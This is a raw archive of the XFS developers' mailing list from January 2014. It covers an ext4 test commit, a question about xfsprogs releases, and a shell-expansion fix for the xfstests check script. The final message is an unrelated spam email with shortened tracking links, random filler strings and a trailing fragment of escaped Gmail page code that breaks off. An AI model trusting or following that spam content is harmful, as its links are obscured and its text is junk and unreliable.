Eric Sandeen Subject: Re: [PATCH RESEND] ext4: regression test for ext4 resize with non-extent files References: <1390201767-5352-1-git-send-email-eguan@redhat.com> In-Reply-To: <1390201767-5352-1-git-send-email-eguan@redhat.com> Content-Type: text/plain; charset="ISO-8859-1"; format=flowed Content-Transfer-Encoding: 7bit X-Originating-IP: [134.15.1.194] This has been committed. Thanks --Rich commit a93b1dd76cd6e639adaf79e077ba4300af9132d6 Author: Eric Sandeen Date: Mon Jan 20 07:09:27 2014 +0000 ext4: regression test for ext4 resize with non-extent files From arekm@maven.pl Mon Jan 20 11:22:56 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=T_DKIM_INVALID autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 5603E7F37 for ; Mon, 20 Jan 2014 11:22:56 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay2.corp.sgi.com (Postfix) with ESMTP id 37BEE304039 for ; Mon, 20 Jan 2014 09:22:52 -0800 (PST) X-ASG-Debug-ID: 1390238570-04cb6c537befc5e0001-NocioJ Received: from mail-ee0-f42.google.com (mail-ee0-f42.google.com [74.125.83.42]) by cuda.sgi.com with ESMTP id Bny3E3fJIGuj3U1q (version=TLSv1 cipher=RC4-SHA bits=128 verify=NO) for ; Mon, 20 Jan 2014 09:22:51 -0800 (PST) X-Barracuda-Envelope-From: arekm@maven.pl X-Barracuda-Apparent-Source-IP: 74.125.83.42 Received: by mail-ee0-f42.google.com with SMTP id e49so3564651eek.15 for ; Mon, 20 Jan 2014 09:22:50 -0800 (PST) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=maven.pl; s=maven; h=from:to:subject:date:user-agent:mime-version:content-type :content-transfer-encoding:message-id; bh=tFgTOmuCDysbhPvoDDU7L9Nhu57DwKzN7Wny0/dCuBA=; b=QK/wudJADmCvHcuv3n+te986uGEjOO7Vrnq5MMz704zY3GoCwCKMgydrD9ugoXvpDq nKgaElRamEYCj82oJ3E0T8xOKIMNJKJYkzsAi/kvSzdm/wZBLGK6mmcbQkG2xV8hr1gI s6+cuZz8BCJ0PxSEX8PSjU/WAhiX2wqGX/gqw= X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=1e100.net; s=20130820; h=x-gm-message-state:from:to:subject:date:user-agent:mime-version :content-type:content-transfer-encoding:message-id; bh=tFgTOmuCDysbhPvoDDU7L9Nhu57DwKzN7Wny0/dCuBA=; b=WzaDoEVdzR2Bjv+SC4UGzAJ7lnswQ3O1gUfgyt7x6qHH/teMPj9QGdSvoBor2LizOD qO2k8JNZZmpdBNJyvEXjLhu0pqmE9CsY34WotEaPeYCd+iDeWCXwM23AVvClyU7Fa5n4 zKhTR+xBe5qYFdzytEfTBuKnxY5ARY7TeTVupucSYA5c3EyDqdEBb6BG8H269cThNpSL vuPnIXbgYi3O44tKS+zKWZg+d9Sq8xWRg7SnKh8Vr640sdmSq80cT5dKzy5TrUvKZu9k Y7KNkLEx4+ZXyeR/nrp0D6jj0XR/U4/GW3THJIVPVvU3zmixANX2vPFFdgMFJdh8VTps ohog== X-Gm-Message-State: ALoCoQmOO1GQxO5T7St5ICn02Q2X+oohd+2t+TTEmzYB+pqOt1XTe6v8aKUEiYjPRHXMltCmjLDQ X-Received: by 10.14.113.199 with SMTP id a47mr19016952eeh.41.1390238570313; Mon, 20 Jan 2014 09:22:50 -0800 (PST) Received: from t400.localnet (89-65-189-48.dynamic.chello.pl. [89.65.189.48]) by mx.google.com with ESMTPSA id 46sm5261929ees.4.2014.01.20.09.22.49 for (version=TLSv1.2 cipher=ECDHE-RSA-AES128-GCM-SHA256 bits=128/128); Mon, 20 Jan 2014 09:22:49 -0800 (PST) From: Arkadiusz =?utf-8?q?Mi=C5=9Bkiewicz?= To: xfs@oss.sgi.com Subject: xfsprogs 3.1.12 and 3.2.0 releases? Date: Mon, 20 Jan 2014 18:22:48 +0100 X-ASG-Orig-Subj: xfsprogs 3.1.12 and 3.2.0 releases? User-Agent: KMail/1.13.7 (Linux/3.13.0-final-dirty; KDE/4.12.0; x86_64; ; ) MIME-Version: 1.0 Content-Type: Text/Plain; charset="utf-8" Content-Transfer-Encoding: quoted-printable Message-Id: <201401201822.48520.arekm@maven.pl> X-Barracuda-Connect: mail-ee0-f42.google.com[74.125.83.42] X-Barracuda-Start-Time: 1390238571 X-Barracuda-Encrypted: RC4-SHA X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=DKIM_SIGNED, DKIM_VERIFIED X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.144288 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature Hello. What's needed for both 3.1.12 and 3.2.0 releases to happen? If 3.2.0 is to be released soon then nice. Dave, AFAIK it is waiting for yo= u=20 and xfs_db crc work only? If 3.2.0 is far away then it would be nice to see 3.1.12 with bugfixes only= =20 (for those paranoid about new stuff) but 3.1.13 very soon after that with=20 backported features like project quota support, parallelism, performance=20 improvements. Obviously I hope 3.2.0 is soon and there is no need to waste effort on 3.1.= x. =2D-=20 Arkadiusz Mi=C5=9Bkiewicz, arekm / maven.pl From dsterba@suse.cz Mon Jan 20 12:19:08 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 3B26B7F37 for ; Mon, 20 Jan 2014 12:19:08 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay2.corp.sgi.com (Postfix) with ESMTP id 1BFFF304039 for ; Mon, 20 Jan 2014 10:19:05 -0800 (PST) X-ASG-Debug-ID: 1390241941-04bdf030e900420001-NocioJ Received: from mx2.suse.de (cantor2.suse.de [195.135.220.15]) by cuda.sgi.com with ESMTP id ddppvZA4kikvQtY7 (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Mon, 20 Jan 2014 10:19:02 -0800 (PST) X-Barracuda-Envelope-From: dsterba@suse.cz X-Barracuda-Apparent-Source-IP: 195.135.220.15 Received: from relay1.suse.de (charybdis-ext.suse.de [195.135.220.254]) by mx2.suse.de (Postfix) with ESMTP id 809DBAAD1; Mon, 20 Jan 2014 18:19:01 +0000 (UTC) Received: by ds.suse.cz (Postfix, from userid 10065) id 3824CDA8E5; Mon, 20 Jan 2014 19:19:01 +0100 (CET) Date: Mon, 20 Jan 2014 19:19:01 +0100 From: David Sterba To: Dave Chinner Cc: xfs@oss.sgi.com Subject: Re: [PATCH 2/5] xfstests: use value of FSTYP if defined externally Message-ID: <20140120181901.GZ6498@suse.cz> X-ASG-Orig-Subj: Re: [PATCH 2/5] xfstests: use value of FSTYP if defined externally Reply-To: dsterba@suse.cz Mail-Followup-To: dsterba@suse.cz, Dave Chinner , xfs@oss.sgi.com References: <20140120021345.GG18112@dastard> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20140120021345.GG18112@dastard> User-Agent: Mutt/1.5.22 (2013-10-16) X-Barracuda-Connect: cantor2.suse.de[195.135.220.15] X-Barracuda-Start-Time: 1390241942 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.144290 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Mon, Jan 20, 2014 at 01:13:45PM +1100, Dave Chinner wrote: > On Thu, Jan 16, 2014 at 06:07:12PM +0100, David Sterba wrote: > > --- a/check > > +++ b/check > > @@ -33,7 +33,7 @@ showme=false > > have_test_arg=false > > randomize=false > > here=`pwd` > > -FSTYP=xfs > > +FSTYP=${FSTYP:-xfs} > > ":-xfs" means assign the value of $xfs if $FTYPE is null. xfs is not > a variable.... Docs say that ${parameter:-word} If parameter is unset or null, the expansion of word is substituted. Otherwise, the value of parameter is substituted. so 'xfs' will expand to itself. And I did test this one with: $ cat default.sh << EOF FSTYP=${FSTYP:-xfs} echo $FSTYP EOF $ cat external.sh << EOF FSTYP=btrfs source default.sh EOF $ sh default.sh xfs $ sh external.sh btrfs > > -# Autodetect fs type based on what's on $TEST_DEV > > -if [ "$HOSTOS" == "Linux" ]; then > > +# Autodetect fs type based on what's on $TEST_DEV unless it's been set > > +# externally > > +if [ -z "$FSTYP" -a "$HOSTOS" == "Linux" ]; then > > If the default value expansion is fixed, FSTYP will always have a > value here Hence it will never, ever probe. > > FSTYP=`blkid -c /dev/null -s TYPE -o value $TEST_DEV` > > fi > > export FSTYP > > I suspect what you want is: > > -FSTYP=xfs > > ..... > > if [ -z "$FSTYP" -a "$HOSTOS" == "Linux" ]; then > FSTYP=`blkid -c /dev/null -s TYPE -o value $TEST_DEV` > fi > FSTYP=${FSTYP:=xfs} > export FSTYP Right, the default assignment has to be last. I'll use the := form to be consistent with what's used in the file, though :- works here as well, just does not assign the variable within the ${...} expression. The result is the same. thanks, david From ebay@proformfitness.it Mon Jan 20 13:54:05 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: ** X-Spam-Status: No, score=2.0 required=5.0 tests=HTML_MESSAGE,TRACKER_ID autolearn=no version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 8F7677F37 for ; Mon, 20 Jan 2014 13:54:05 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay3.corp.sgi.com (Postfix) with ESMTP id C5B8EAC001 for ; Mon, 20 Jan 2014 11:54:01 -0800 (PST) X-ASG-Debug-ID: 1390247636-04cbb05bab05680001-NocioJ Received: from proformfitness.it (nina.ignet.it [212.104.43.193]) by cuda.sgi.com with ESMTP id avGohOwrfHkjrFsm for ; Mon, 20 Jan 2014 11:53:57 -0800 (PST) X-Barracuda-Envelope-From: ebay@proformfitness.it X-Barracuda-Apparent-Source-IP: 212.104.43.193 Received: from localhost ([37.195.22.21]) by proformfitness.it ; Mon, 20 Jan 2014 20:53:19 +0100 Message-ID: <495ABE8D773F46C485AF107CA15793CE@localhost> Reply-To: "Milton" From: "Milton" Subject: =?windows-1251?B?8fLu//no6SDx8+Ll7ejwLCD17uz/9+7qIPLu?= =?windows-1251?B?8vfg8SDu6uDm5fLx/yDr/uHo7O7pIOfg4eDi?= =?windows-1251?B?7uk=?= Date: Tue, 21 Jan 2014 02:54:28 +0600 X-ASG-Orig-Subj: =?windows-1251?B?8fLu//no6SDx8+Ll7ejwLCD17uz/9+7qIPLu?= =?windows-1251?B?8vfg8SDu6uDm5fLx/yDr/uHo7O7pIOfg4eDi?= =?windows-1251?B?7uk=?= MIME-Version: 1.0 Content-Type: multipart/alternative; boundary="----=_NextPart_000_0B4B_01CF1654.19E4E950" X-Priority: 3 List-Unsubscribe: Precedence: bulk X-Barracuda-Connect: nina.ignet.it[212.104.43.193] X-Barracuda-Start-Time: 1390247636 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 1.21 X-Barracuda-Spam-Status: No, SCORE=1.21 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=HTML_MESSAGE, MISSING_HEADERS, TO_CC_NONE, TRACKER_ID X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.144294 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 1.21 MISSING_HEADERS Missing To: header 0.00 TRACKER_ID BODY: Incorporates a tracking ID number 0.00 HTML_MESSAGE BODY: HTML included in message 0.00 TO_CC_NONE No To: or Cc: header To: undisclosed-recipients:; This is a multi-part message in MIME format. ------=_NextPart_000_0B4B_01CF1654.19E4E950 Content-Type: text/plain; charset="windows-1251" Content-Transfer-Encoding: quoted-printable SRjCtvGOKoSoZRtFirTYHabCgy6x7xxOdGgy4NcD5UTSBdnJv9x49zveYrCTNZzRvGfojhTd3= DXtGa539pV8PhcDzElctLUOh16 http://goo.gl/vDJYRF=20 =E0 =E5=F9=E5 Woody O'Time =E1=EB=E5=F1=F2=FF=F9=E5 =F0=E0=F1=F8=E8=F0=FF= =E5=F2 =EA=EE=EC=EC=F3=ED=E8=EA=E0=F2=E8=E2=ED=FB=E5 =ED=E0=E2=FB=EA=E8 =E8= =F0=E5=F7=FC. =D2=E0=EA =EC=EE=E6=ED=EE =E8=E3=F0=E0=F2=FC =E2=E5=F7=ED=EE=F1=F2=E8. =C3=EE=E2=EE=F0=FF=F9=E5=E3=EE =F5=EE=EC=FF=EA=E0 =EC=EE=E6=ED=EE =E1=F0=E0= =F2=FC =F1 =F1=EE=E1=EE=FE =E0=E2=F2=EE=EC=EE=E1=E8=EB=FC, =EE=F4=E8=F1, = =ED=E0 =EF=F0=EE=E3=F3=EB=EA=F3. =CE=ED =F3=EC=E5=E5=F2 =F0=E0=F1=EF=EE=F2=E5=F8=E8=F2=FC, =EE=F2=E2=EB=E5= =F7=FC =E8 =F3=ED=FF=F2=FC =EC=E0=EB=EE=E3=EE =F0=E5=E1=E5=ED=EA=E0, =ED=E0= =E4=EE=EB=E3=EE =EE=E2=EB=E0=E4=E5=E2=E0=E5=F2 =E2=ED=E8=EC=E0=ED=E8=E5=EC= =E4=E5=F2=E8=F8=E5=EA =EF=EE=F1=F2=E0=F0=F8=E5, =E0 =E2=E5=EB=E8=EA=EE=E2= =EE=E7=F0=E0=F1=F2=ED=FB=F5 =EF=F0=E8=ED=F3=E6=E4=E0=E5=F2 =EF=EE=E7=E0=E1= =FB=F2=FC =EE =EF=F0=EE=E1=EB=E5=EC=E0=F5 =E8 =E2=EE=E7=E2=F0=E0=F9=E0=E5= =F2 =F1=EF=EE=EA=EE=E9=ED=E5=E9=F8=E5=E5 =ED=E0=E8=F1=F7=E0=F1=F2=EB=E8=E2= =E5=E9=F8=E5=E5 =EC=EB=E0=E4=E5=ED=F7=E5=F1=F2=E2=EE. =CE=ED =E3=EE=E2=EE=F0=E8=F2 =EF=F0=E5=E7=E0=E1=E0=E2=ED=FB=EC =AB=EC=F3=EB= =FC=F2=FF=F8=ED=FB=EC=BB =E3=EE=EB=EE=F1=E8=F8=EA=EE=E9, =EE=F2=EA=F0=FB=E2= =E0=FF =F0=EE=F2 =F1=EE=EE=F2=E2=E5=F2=F1=F2=E2=E5=ED=ED=EE =E7=E2=F3=EA=E0= =EC. =ED=E5=EF=EE=E2=F2=EE=F0=E8=EC=E0=FF =E6=E8=E2=E0=FF =EC=E8=EC=E8=EA=E0 =C3= =EE=E2=EE=F0=FF=F9=E5=E3=EE =F5=EE=EC=FF=EA=E0 =EF=EE=E4=ED=E8=EC=E0=E5=F2= =ED=E0=F1=F2=F0=EE=E5=ED=E8=E5 =E8 =ED=E5=E8=E7=EC=E5=ED=ED=EE =F0=EE=E4= =E8=F2 =F3=EB=FB=E1=EA=F3! =CF=F0=EE=F1=F2=EE =ED=E0=E6=EC=E8=F2=E5 =ED=E0 =EB=E0=EF=EA=F3 =E8=E3=F0= =F3=F8=EA=E8, =F7=F2=EE=E1=FB =E0=EA=F2=E8=E2=E8=F0=EE=E2=E0=F2=FC =E7=E0= =EF=E8=F1=FB=E2=E0=FE=F9=E5=E5 =F3=F1=F2=F0=EE=E9=F1=F2=E2=EE. =F2=E5=F7=E5=ED=E8=E5 6 =F1=E5=EA=F3=ED=E4 =F5=EE=EC=FF=EA =E1=F3=E4=E5=F2= =E7=E0=F3=F7=E8=E2=E0=F2=FC =E2=E0=F8=F3 =F0=E5=F7=FC, =E0 =E7=E0=F2=E5=EC= =E0=E2=F2=EE=EC=E0=F2=E8=F7=E5=F1=EA=E8 =E5=E5 =EF=EE=E2=F2=EE=F0=E8=F2. =F1=E8=FF =E7=E0=E1=E0=E2=E0 =F1=F2=E0=ED=E5=F2 =ED=E0=E8=F5=EE=F0=EE=F8=E8= =EC =E4=F0=F3=E3=EE=EC =E4=EB=FF =EC=E0=EB=FB=F8=E5=E9 =F1=F2=E0=F0=F8=E5= =F2=F0=E5=F5 =EB=E5=F2. 9Nx2gijNjdGiurfazhDZMP37sMLACHSBk ------=_NextPart_000_0B4B_01CF1654.19E4E950 Content-Type: text/html; charset="windows-1251" Content-Transfer-Encoding: quoted-printable

SRjCtvGOKoSoZRtFirTYHabCgy6x7xxO= dGgy4NcD5UTSBdnJv9x49zveYrCTNZzRvGfojhTd3DXtGa539pV8PhcDzElctLUOh16
http://goo.gl/cqhKBX
<= /div>
=E0 =E5=F9=E5 Woody O'Time =E1=EB=E5=F1=F2=FF=F9= =E5 =F0=E0=F1=F8=E8=F0=FF=E5=F2 =EA=EE=EC=EC=F3=ED=E8=EA=E0=F2=E8=E2=ED=FB= =E5 =ED=E0=E2=FB=EA=E8 =E8 =F0=E5=F7=FC.
=D2=E0=EA =EC=EE=E6= =ED=EE =E8=E3=F0=E0=F2=FC =E2=E5=F7=ED=EE=F1=F2=E8.
=C3=EE=E2= =EE=F0=FF=F9=E5=E3=EE =F5=EE=EC=FF=EA=E0 =EC=EE=E6=ED=EE =E1=F0=E0=F2=FC = =F1 =F1=EE=E1=EE=FE =E0=E2=F2=EE=EC=EE=E1=E8=EB=FC, =EE=F4=E8=F1, =ED=E0 = =EF=F0=EE=E3=F3=EB=EA=F3.
=CE=ED =F3=EC=E5=E5=F2 =F0=E0=F1=EF= =EE=F2=E5=F8=E8=F2=FC, =EE=F2=E2=EB=E5=F7=FC =E8 =F3=ED=FF=F2=FC =EC=E0=EB= =EE=E3=EE =F0=E5=E1=E5=ED=EA=E0, =ED=E0=E4=EE=EB=E3=EE =EE=E2=EB=E0=E4=E5= =E2=E0=E5=F2 =E2=ED=E8=EC=E0=ED=E8=E5=EC =E4=E5=F2=E8=F8=E5=EA =EF=EE=F1=F2= =E0=F0=F8=E5, =E0 =E2=E5=EB=E8=EA=EE=E2=EE=E7=F0=E0=F1=F2=ED=FB=F5 =EF=F0= =E8=ED=F3=E6=E4=E0=E5=F2 =EF=EE=E7=E0=E1=FB=F2=FC =EE =EF=F0=EE=E1=EB=E5=EC= =E0=F5 =E8 =E2=EE=E7=E2=F0=E0=F9=E0=E5=F2 =F1=EF=EE=EA=EE=E9=ED=E5=E9=F8=E5= =E5 =ED=E0=E8=F1=F7=E0=F1=F2=EB=E8=E2=E5=E9=F8=E5=E5 =EC=EB=E0=E4=E5=ED=F7= =E5=F1=F2=E2=EE.
=CE=ED =E3=EE=E2=EE=F0=E8=F2 =EF=F0=E5=E7=E0= =E1=E0=E2=ED=FB=EC =AB=EC=F3=EB=FC=F2=FF=F8=ED=FB=EC=BB =E3=EE=EB=EE=F1=E8= =F8=EA=EE=E9, =EE=F2=EA=F0=FB=E2=E0=FF =F0=EE=F2 =F1=EE=EE=F2=E2=E5=F2=F1= =F2=E2=E5=ED=ED=EE =E7=E2=F3=EA=E0=EC.
=ED=E5=EF=EE=E2=F2=EE= =F0=E8=EC=E0=FF =E6=E8=E2=E0=FF =EC=E8=EC=E8=EA=E0 =C3=EE=E2=EE=F0=FF=F9=E5= =E3=EE =F5=EE=EC=FF=EA=E0 =EF=EE=E4=ED=E8=EC=E0=E5=F2 =ED=E0=F1=F2=F0=EE=E5= =ED=E8=E5 =E8 =ED=E5=E8=E7=EC=E5=ED=ED=EE =F0=EE=E4=E8=F2 =F3=EB=FB=E1=EA= =F3!
=CF=F0=EE=F1=F2=EE =ED=E0=E6=EC=E8=F2=E5 =ED=E0 =EB=E0=EF= =EA=F3 =E8=E3=F0=F3=F8=EA=E8, =F7=F2=EE=E1=FB =E0=EA=F2=E8=E2=E8=F0=EE=E2= =E0=F2=FC =E7=E0=EF=E8=F1=FB=E2=E0=FE=F9=E5=E5 =F3=F1=F2=F0=EE=E9=F1=F2=E2= =EE.
=F2=E5=F7=E5=ED=E8=E5 6 =F1=E5=EA=F3=ED=E4 =F5=EE=EC=FF= =EA =E1=F3=E4=E5=F2 =E7=E0=F3=F7=E8=E2=E0=F2=FC =E2=E0=F8=F3 =F0=E5=F7=FC= , =E0 =E7=E0=F2=E5=EC =E0=E2=F2=EE=EC=E0=F2=E8=F7=E5=F1=EA=E8 =E5=E5 =EF=EE= =E2=F2=EE=F0=E8=F2.
=F1=E8=FF =E7=E0=E1=E0=E2=E0 =F1=F2=E0=ED= =E5=F2 =ED=E0=E8=F5=EE=F0=EE=F8=E8=EC =E4=F0=F3=E3=EE=EC =E4=EB=FF =EC=E0= =EB=FB=F8=E5=E9 =F1=F2=E0=F0=F8=E5 =F2=F0=E5=F5 =EB=E5=F2.
9Nx2gijNjdGiurfazhDZMP37sMLACHSBk

x3dgbq1 class\x3d"gbt"\x3e\x3ca class\x3dgbqla href\x3d"#inbox" onclick\x= 3d"gbar.logger.il(39)" title\x3d"\u041f\u043e\u0447\u0442\u0430"\x3e\x3ct= able id\x3dgbqlt\x3e\x3ctr\x3e\x3ctd id\x3dgbqlw class\x3dgbgt\x3e\x3ca c= lass\x3dgbqla2 href\x3d"#inbox" title\x3d"\u041f\u043e\u0447\u0442\u0430"= \x3e\x3cimg id\x3dgbqld class\x3dgbqldr src\x3d//ssl.gstatic.zero/ui/v1/i= cons/mail/logo_default.png alt\x3d"\u041f\u043e\u0447\u0442\u0430" /\x3e\= x3c/a\x3e\x3c/td\x3e\x3c/tr\x3e\x3c/table\x3e\x3cdiv class\x3dgbqlca\x3e\= x3c/div\x3e\x3c/a\x3e\x3c/div\x3e\x3cdiv id\x3dgbq2 class\x3dgbt\x3e\x3cd= iv id\x3dgbqfw \x3e\x3cform id\x3dgbqf name\x3dgbqf method\x3dget action\= x3d"" onsubmit\x3d"gbar.logger.il(31);"\x3e\x3cfieldset class\x3dgbxx\x3e= \x3clegend class\x3dgbxx\x3e\u0421\u043a\u0440\u044b\u0442\u044b\u0435 \u= 043f\u043e\u043b\u044f\x3c/legend\x3e\x3cdiv id\x3dgbqffd\x3e\x3c/div\x3e= \x3c/fieldset\x3e\x3cfieldset class\x3dgbqff id\x3dgbqff\x3e\x3clegend cl= ass\x3dgbxx\x3e\x3c/legend\x3e\x3cdiv id\x3dgbfwa class\x3d"gbqfwa "\x3e\= x3cdiv id\x3dgbqfqw class\x3dgbqfqw\x3e\x3cdiv id\x3dgbqfaa\x3e\x3c/div\x= 3e\x3cdiv id\x3dgbqfqwb class\x3dgbqfqwb\x3e\x3cinput id\x3dgbqfq class\x= 3dgbqfif name\x3dq type\x3dtext autocomplete\x3doff value\x3d"" \x3e\x3c/= div\x3e\x3cdiv id\x3dgbqfab\x3e\x3c/div\x3e\x3c/div\x3e\x3c/div\x3e\x3c/f= ieldset\x3e\x3cdiv id\x3dgbqfbw\x3e\x3cbutton id\x3dgbqfb aria-label\x3d"= \u041f\u043e\u0438\u0441\u043a \u0432 " class\x3dgbqfb\x3e\x3cspan class\= x3dgbqfi\x3e\x3c/span\x3e\x3c/button\x3e\x3c/div\x3e\x3c/form\x3e\x3c/div= \x3e\x3c/div\x3e\x3c/div\x3e\x3cdiv id\x3dgbu\x3e\x3cdiv id\x3dgbvg class= \x3dgbvg\x3e\x3ch2 class\x3dgbxx\x3eAccount Options\x3c/h2\x3e\x3cspan cl= ass\x3dgbtcb\x3e\x3c/span\x3e\x3col class\x3dgbtc\x3e\x3cli class\x3dgbt\= x3e\x3c/li\x3e\x3cli class\x3dgbt guidedhelpid\x3dgbacsw\x3e\x3ca class\x= 3d"gbgt " id\x3dgbg4 href\x3d"https://plus./u/0/me?tab\x3dmX" onclick\x3d= "gbar.tg(event,this)" aria-haspopup\x3dtrue aria-owns\x3dgbd4\x3e\x3cspan= id\x3dgbgs4d\x3e\x3cspan id\x3dgbgs4dn\x3e\x3c/span\x3e\x3cspan class\x3= dgbmai\x3e\x3c/span\x3e\x3cspan class\x3dgbmab\x3e\x3c/span\x3e\x3cspan c= lass\x3dgbmac\x3e\x3c/span\x3e\x3c/span\x3e\x3c/a\x3e\x3cdiv class\x3dgbm= id\x3dgbd4 aria-owner\x3dgbg4\x3e\x3cdiv class\x3dgbmc\x3e\x3cdiv id\x3d= gbmpdv\x3e\x3cdiv class\x3dgbpc\x3e\x3cspan class\x3d"gbps gbpd" id\x3dgb= mpn\x3e\x3c/span\x3e\x3c/div\x3e\x3c/div\x3e\x3cdiv id\x3dgbmps\x3e\x3cdi= v id\x3dgbmpasb class\x3d\'gbsb gbsbis\'\x3e\x3cdiv id\x3dgbmpas class\x3= dgbsbic\x3e\x3cdiv id\x3dgbmpm_0 class\x3d"gbmtc gbp0"\x3e\x3ca rel\x3dno= referrer target\x3d_blank id\x3dgbmpm_0_l href\x3d"/mail/u/0/" class\x3dg= bmt\x3e\x3cspan class\x3d"gbmpiaw gbxv"\x3e\x3cimg class\x3dgbmpia width\= x3d48 height\x3d48 onerror\x3d"window.gbar\x26\x26gbar.pae?gbar.pae(this)= :this.loadError\x3d1;" data-asrc\x3d"//lh6.usercontent.zero/-M7m5KjEjAj4/= AAAAAAAAAAI/AAAAAAAAAAA/8PwWyiOxwGI/s48-c/photo.jpg" alt\x3d"\u0421\u0435= \u0440\u0433\u0435\u0439 \u0418\u0432\u0430\u043d\u043e\u0432"\x3e\x3c/sp= an\x3e\x3cspan class\x3dgbmpnw\x3e\x3cspan class\x3dgbps\x3e\u0421\u0435\= u0440\u0433\u0435\u0439 \u0418\u0432\u0430\u043d\u043e\u0432\x3c/span\x3e= \x3cspan class\x3dgbps2\x3e\x3c/span\x3e\x3c/span\x3e\x3c/a\x3e\x3c/div\x= 3e\x3c/div\x3e\x3cdiv class\x3dgbsbt\x3e\x3c/div\x3e\x3cdiv class\x3dgbsb= b\x3e\x3c/div\x3e\x3c/div\x3e\x3cdiv id\x3dgbmppc class\x3d"gbxx gbmtc"\x= 3e\x3ca class\x3dgbmt href\x3d"https://plus./u/0/pages/manage"\x3e\x3cspa= n class\x3dgbmppci\x3e\x3c/span\x3e\u0412\u0441\u0435 \u0432\u0430\u0448\= u0438 +\u0441\u0442\u0440\u0430\u043d\u0438\u0446\u044b \x26rsaquo;\x3c/a= \x3e\x3c/div\x3e\x3c/div\x3e\x3ctable id\x3dgbmpal\x3e\x3ctr\x3e\x3ctd cl= ass\x3dgbmpala\x3e\x3ca target\x3d_blank role\x3dbutton href\x3d"https://= accounts./AddSession?hl\x3dru\x26continue\x3dhttps://mail./mail/b/77/u/0/= \x26service\x3dmail" class\x3dgbqfbb\x3e\u0414\u043e\u0431\u0430\u0432\u0= 438\u0442\u044c \u0430\u043a\u043a\u0430\u0443\u043d\u0442\x3c/a\x3e\x3c/= td\x3e\x3ctd class\x3dgbmpalb\x3e\x3ca target\x3d_top role\x3dbutton id\x= 3dgb_71 onclick\x3d"gbar.logger.il(9,{l:\'o\'})" href\x3d"?logout\x26hl\x= 3dru\x26hlor" class\x3dgbqfbb\x3e\u0412\u044b\u0439\u0442\u0438\x3c/a\x3e= \x3c/td\x3e\x3c/tr\x3e\x3c/table\x3e\x3c/div\x3e\x3c/div\x3e\x3c/li\x3e\x= 3cnoscript\x3e\x3cli class\x3dgbt\x3e\x3ca id\x3dgbg7 href\x3d"?logout\x2= 6hl\x3dru\x26hlor" class\x3dgbgt\x3e\x3cspan class\x3dgbgs\x3e\x3cspan cl= ass\x3dgbit\x3e\u0412\u044b\u0439\u0442\u0438\x3c/span\x3e\x3c/span\x3e\x= 3c/a\x3e\x3c/li\x3e\x3c/noscript\x3e\x3c/ol\x3e\x3cdiv id\x3dgbdw\x3e\x3c= /div\x3e\x3c/div\x3e\x3c/div\x3e\x3c/div\x3e\x3cdiv id\x3dgbx1 \x3e\x3c/d= iv\x3e\x3cscript\x3ewindow.gbar\x26\x26gbar.elp\x26\x26gbar.elp()\x3c/scr= ipt\x3e\x3c/div\x3e', '(function(){try{var e\x3d!0,h\x3dnull,j\x3d!1;var aa\x3dfunction(a,b,c,d= ){d\x3dd||{};d._sn\x3d["cfg",b,c].join(".");window.gbar.logger.ml(a,d)};v= ar m\x3dwindow.gbar\x3dwindow.gbar||{},p\x3dwindow.gbar.i\x3dwindow.gbar.= i||{},ba;function _tvn(a,b){var c\x3dparseInt(a,10);return isNaN(c)?b:c}f= unction _tvf(a,b){var c\x3dparseFloat(a);return isNaN(c)?b:c}function _tv= v(a){return!!a}function 